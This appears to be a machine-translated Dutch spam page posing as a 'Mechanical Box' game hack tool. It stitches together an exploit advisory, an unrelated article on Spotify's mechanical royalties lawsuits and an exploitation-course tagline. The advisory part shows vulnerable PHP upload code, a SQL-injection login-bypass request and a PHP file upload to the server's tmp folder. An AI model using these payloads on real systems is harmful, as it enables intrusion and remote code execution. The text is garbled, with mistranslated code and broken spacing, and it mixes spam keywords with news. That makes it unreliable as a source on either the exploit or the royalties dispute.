↓↓↓↓↓↓

Language English Mechanical Box hack tool

↟↟↟↟↟↟

 

 

 

Kwetsbaarheid begrijpen: een aanpak voor verpleging en gezondheidszorg - Google Boeken. Mechanische Box-hack voor iPhone. Mechanische Box hack zip-download. # Exploit Titel: MPS Box 0. 1. 8. 0 - Willekeurige bestandsupload # Dork: N / A # Datum: 25-10-2018 # Exploit Auteur: Ihsan Sencan # Website verkoper: # Softwarekoppeling: # Versie: 0. 0 # Category: Webapps # Getest op: WiN7_x64 / KaLiLinuX_x64 # CVE: Nvt # POC: # 1) # localhost / [PATH] / # # localhost / [PATH] / tmp / [FILE] # [PATH] / # .... # 51 if (isset ($ _ POST ['upload'])) { # 52 # 53 $ uploaddir = realpath (dirname (__ FILE__)). '/ Tmp /'; # 54 $ uploadfile = $ uploaddir. basename ($ _ FILES [ 'files_to_upload'] [ 'naam']); # 55 # 56 if (move_uploaded_file ($ _ FILES ['files_to_upload'] ['tmp_name'], $ uploadfile)) { # 57 // $ _SESSION ['status'] = "Bestand is geldig en is succesvol geüpload. \ N"; # 58 # 59 $ file_handle = fopen ($ uploadbestand, "r"); # 60 while (! Feof ($ file_handle)) { # 61 $ line_of_text = fgetcsv ($ file_handle, 1024); # 62 if (! Empty ($ line_of_text [0])) { # 63 device_queue_add ('new', '', "$ line_of_text [0]", "$ line_of_text [1]", '', '1'); # 64} # 65} POST / [PATH] / HTTP / 1. 1 Gastheer: TARGET User-Agent: Mozilla / 5. 0 (X11; Linux x86_64; rv: 45. 0) Gecko / 20100101 Firefox / 45. 0 Accepteer: text / html, application / xhtml + xml, application / xml; q = 0. 9, * / *; q = 0. 8 Accept-taal: en-US, en; q = 0. 5 Accepteer codering: gzip, leeglopen Referer: localhost / [PATH] / Cookie: PHPSESSID = c1lc3729cfh58b72udo055urg7 Verbinding: in leven houden Inhoudstype: applicatie / x-www-formulier-urlencode Inhoud-lengte: 85 username =% 27or + 1% 3D1 + of +% 27% 27% 3D% 27 & password =% 27or + 1% 3D1 + of +% 27% 27% 3D% 27 & login = Inloggen HTTP / 1. 1 302 gevonden Datum: do, 25 okt 2018 13:34:44 GMT Server: Apache / 2. 4. 25 (Win32) OpenSSL / 1. 0. 2j PHP / 5. 6. 30 X-Powered-By: PHP / 5. 30 Verloopt: do, 19 nov 1981 08:52:00 GMT Cache-Control: geen opslag, geen cache, must-revalidate, post-check = 0, pre-check = 0 Pragma: geen cache Locatie: localhost / [PATH] / Inhoud-lengte: 5652 Keep-Alive: time-out = 5, max = 100 Verbinding: Keep-Alive Inhoudstype: text / html; charset = UTF-8 POST localhost / [PATH] / HTTP / 1. 1 Gastheer: 192. 168. 27 Inhoudstype: multipart / formulier-gegevens; begrenzing = --------------------------- 20568543311864623172004480142 Inhoud-lengte: 509 ----------------------------- 20568543311864623172004480142 Content-Disposition: formulier-data; name = "files_to_upload"; filename = "" Inhoudstype: applicatie / geforceerde download <? php phpinfo () ;? > Content-Disposition: formulier-data; name = "MAX_FILE_SIZE" 100000 Content-Disposition: formulier-data; name = "upload" Uploaden ----------------------------- 20568543311864623172004480142-- Datum: do, 25 okt 2018 13:35:07 GMT Plaats: Transfer-codering: chunked GET localhost / [PATH] / tmp / HTTP / 1. 1 HTTP / 1. 1 200 OK Datum: do, 25 okt 2018 13:35:38 GMT



CSV-bestandssjabloon

 

Mechanische Box Hacks Gratis cheats generator. Mechanische Box hack cheat engine. Mechanische Box hack karna. Mechanische Box xmodgames hack download. Mechanische Box hack zonder menselijke verificatie. Zakelijk nieuws Topverhalen Door | Gepubliceerd op vrijdag 1 september 2017 Het voortdurende debacle rond de betaling van mechanische royalty's op streams in de VS heeft inderdaad een zeer interessante wending genomen, aangezien Spotify op de nieuwste rechtszaak in dit geschil reageert door te vragen: wat als er helemaal geen mechanische royalty's op streams verschuldigd zijn? Laten we samenvatten. Auteursrecht biedt auteursrechteigenaren een aantal bedieningselementen voor alle inhoud die zij bezitten. De exacte lijst met bedieningselementen verschilt van land tot land, maar kan gewoonlijk het volgende omvatten: de reproductiecontrole, de distributiecontrole, de huurcontrole, de aanpassingscontrole, de prestatiecontrole, de communicatiecontrole en de beschikbaarheidscontrole. In muziek, en met name muziekpublicatie, wordt vaak een onderscheid gemaakt tussen de reproductie- en distributiebesturing - vaak de ‘mechanische rechten’ genoemd - en de uitvoering, communicatie en het beschikbaar stellen van besturingselementen - meestal de ‘uitvoeringsrechten’ genoemd. In sommige landen licentieert de muziekuitgeverij deze verschillende elementen van het auteursrecht afzonderlijk. Dus in het VK vertegenwoordigt PRS de uitvoeringsrechten, terwijl MCPS en de muziekuitgevers de mechanicals besturen. Wanneer u op een CD drukt, exploiteert u de mechanische rechten, maar niet de uitvoeringsrechten. Wanneer u een nummer op de radio speelt, exploiteert u de uitvoeringsrechten, maar niet de mechanische rechten. Maar hoe zit het met digitaal? In de auteursrechtwetgeving wordt meestal niet bepaald welke de digitale overdracht van een nummer of opname exploiteert, hoewel over het algemeen de muziekindustrie een digitale levering tegelijkertijd als een reproductie en een communicatie (of een reproductie en een beschikbaarstelling) heeft behandeld - dat wil zeggen dat zowel de mechanische rechten als de uitvoeringsrechten worden benut. Dit betekent dat als u in het VK een download- of streamingplatform beheert, u een licentie van zowel MCPS (en / of de uitgevers) als PRS nodig hebt om de auteursrechten van het nummer te dekken. Dat gezegd hebbende, hebben de VS - zoals vaak het geval is - het anders gedaan. Daar werd al vroeg besloten dat een download alleen de mechanische rechten exploiteerde, terwijl een gepersonaliseerde radiodienst zoals Pandora of iHeartRadio alleen de uitvoeringsrechten exploiteerde. Met streaming op aanvraag van de Spotify-variëteit wordt echter algemeen aanvaard dat zowel de mechanische als de uitvoeringsrechten worden benut. Dat heeft natuurlijk voor allerlei rompslomp gezorgd, want in de VS - terwijl er maatschappijen voor collectief auteursrecht zijn die samen een industriebrede algemene licentie kunnen bieden voor de uitvoeringsrechten in alle nummers (bijv. BMI, ASCAP, SESAC en GMR) - hetzelfde geldt niet voor mechanische rechten. En hoewel er eigenlijk een verplichte licentie voor mechanica is - dus de te betalen tarieven zijn wettelijk vastgelegd - moeten streamingdiensten nog steeds de auteursrechteigenaren vinden van alle liedjes die ze streamen, deze rechthebbenden op voorhand op de hoogte stellen en eventuele royalty's betalen ten gevolge. Spotify huurde, net als veel streamingbedrijven, de diensten in van het Harry Fox Agency - het dichtst bij de VS bij een maatschappij voor het verzamelen van mechanische rechten - om mechanische royalty's te beheren. Maar er zijn geen onbeduidende hiaten in de HFA-database, waardoor niet onbeduidende bedragen aan mechanische royalty's onbetaald blijven. Dat resulteerde in twee grote class action-rechtszaken tegen Spotify en een afzonderlijke multi-miljoen dollar mechanische schikking die werd onderhandeld tussen het digitale bedrijf en de Amerikaanse National Music Publishers Association. Zoals eerder gemeld, ondanks het bereiken van $ 43. 4 miljoen schikking met betrekking tot de 2015 class actions - die uiteindelijk werden samengevoegd tot één - in juli van dit jaar werden twee nieuwe rechtszaken aangespannen over onbetaalde Spotify-mechanica, door Bluewater Music Services en Bob Gaudio. De laatste was de primaire songwriter voor Frankie Valli And The Four Seasons en is een muziekuitgever op zichzelf. Beide rechtszaken waren zeer kritisch over Spotify en alle eerdere inspanningen om het probleem met de mechanische royalty's op te lossen. Met betrekking tot de NMPA-schikking verklaarde de Bluewater-rechtszaak dat: "[het] niets deed om de openstaande problemen met het Spotify-licentie- en royaltybetalingssysteem op te lossen, omdat de schikking Spotify in staat stelde om niet nauwkeurig te blijven betalen en het geen vereiste was om systemen te bouwen vooruit gaan". Spotify heeft nu formeel gereageerd op de nieuwe rechtszaken. De nieuwe juridische indiening brengt met name umbrage aan suggesties in de Bluewater / Guadio-rechtszaak dat zijn bedrijfsmodel parallellen vertoont met de originele Napster en de andere vroege platforms voor het delen van bestanden. "Spotify vertoont geen gelijkenis met Napster", of enig ander P2P-netwerk voor het delen van bestanden, houdt de juridische reactie van het digitale bedrijf vol. "Zijn bedrijfspraktijken lijken niet op die piraten en onwettige peer-to-peer netwerken", gaat het verder. "En de technologie ook niet". De nieuwe rechtszaken omvatten een "oneerlijke weergave" van Spotify's bedrijf, aldus de reactie van deze week, voordat de advocaten die voor Bluewater en Guadio werken beschuldigen van bombastische en niet-onderbouwde claims in een poging om songwriters en uitgevers te overtuigen om de reeds eerder bereikte regeling te verwerpen mechanische royalty klasse actie. Dat is allemaal interessant genoeg, hoewel het belangrijkste deel van Spotify's reactie op de nieuwe rechtszaken de vraag is of een stream wel of niet de mechanische rechten van een nummer exploiteert. De advocaten van Spotify beginnen met te beweren dat de Bluewater- en Guadio-rechtszaken veel bluster zijn, maar weinig specifieke details als het gaat om de feitelijke beschuldiging van inbreuk op het auteursrecht. De procesadvocaten zouden waarschijnlijk beweren dat het een gegeven is dat er mechanische royalty's verschuldigd zijn wanneer hun liedjes worden gestreamd, maar de advocaten van Spotify weerleggen dat het aan de eiser is om te bewijzen dat dit zo is. Schrijf de advocaten van Spotify: “Eisers beweren dat Spotify de‘ reproduceert ’en‘ distribueert ’eiseres, waardoor ze gemakkelijk de vakjes aanvinken om een ​​inbreuk op de reproductie- en distributierechten te pleiten. Maar eisers laten Spotify gissen naar welke activiteit eisers eigenlijk geloven dat dit 'reproductie' of 'distributie' inhoudt. Bluewater en Guadio praten over ‘streaming’ in hun rechtszaken, de advocaten gaan door, maar ‘streams’ zijn op zichzelf niet gedefinieerd in het auteursrecht, en daarom is het aan de eisers om te beschrijven hoe Spotify hun liedjes reproduceert en verspreidt. Het legale depot van het streamingbedrijf doorloopt dan de verschillende stukjes Amerikaanse jurisprudentie die bevestigt dat gepersonaliseerde radiodiensten zoals Pandora en iHeartRadio alleen gebruikmaken van de uitvoeringsrechten. Waarom zou dat principe niet nog steeds gelden omdat een stream on-demand beschikbaar is in plaats van als een gepersonaliseerde stream? Anticiperend op het feit dat Bluewater en Guadio kunnen tegengaan dat Spotify routinematig kopieën van nummers downloadt naar mobiele apparaten - in plaats van ze alleen te streamen - dus om offline te luisteren, suggereert het streamingbedrijf dat het zou beweren dat functionaliteit wordt gedekt door het Amerikaanse principe van redelijk gebruik, en daarom is geen licentie vereist. Natuurlijk kunnen advocaten die voor Bluewater en Guadio werken zich in plaats daarvan afvragen waarom Spotify eerder schikkingen ter waarde van tientallen miljoenen dollars heeft afgesloten over onbetaalde mechanica als het dacht dat dergelijke royalty's nooit verschuldigd zouden zijn. In de geschillen van vorig jaar was de verdediging van Spotify over het algemeen dat het betalen van mechanica in de VS belachelijk complex was vanwege het ontbreken van een relevante auteursrechtenorganisatie en / of een wereldwijde database met liedrechten. Het is niet duidelijk hoe Spotify zou reageren op die volkomen legitieme vraag. Hoewel het waar is dat de definitie van een stream waarin auteursrechten worden geëxploiteerd onduidelijk blijft - vandaar het geschil elders in de wereld over het al dan niet opnemen van artiesten Performer ER royalty's moeten ontvangen van de streamingdiensten (ze zouden moeten als een stream exploiteert de basiscommunicatiecontrole). Als deze zaak ooit voor de rechtbank zou komen, zou elke uitspraak een precedent kunnen scheppen voor de definitie van een stream Stateside die - als deze werd beslist een stream die alleen de uitvoeringsrechten in de VS exploiteerde - een groot debat over het auteursrecht zou kunnen starten status van streams in andere gebieden ook. Geen daarvan zou noodzakelijkerwijs veranderen hoeveel Spotify in totaal betaalt aan de eigenaren van muziekrechten, hoe dat geld de industrie bereikt. Maar voor Spotify zou het een einde maken aan het risico aansprakelijk te worden gehouden voor dure wettelijke schade met betrekking tot onbetaalde monteurs in de VS. En het zou uiteindelijk ook kunnen beïnvloeden hoe geld wordt verdeeld tussen de verschillende belanghebbenden binnen de muziekgemeenschap, in Amerika en daarbuiten. Dus, al met al, als het gaat om juridische geschillen van dit moment, is dit zeker een om naar te kijken. LEES MEER OVER: Bluewater | MCPS | Mechanische royalty's | PRS | Spotify.

Gemaakt door @dawid_golunski van Legal Hackers. Het draait allemaal om de kunst van uitbuiting. Om te leren, delen en pwn. Abonneer u om een ​​melding te ontvangen over de pre-lancering en ga aan de slag vanaf dag 0.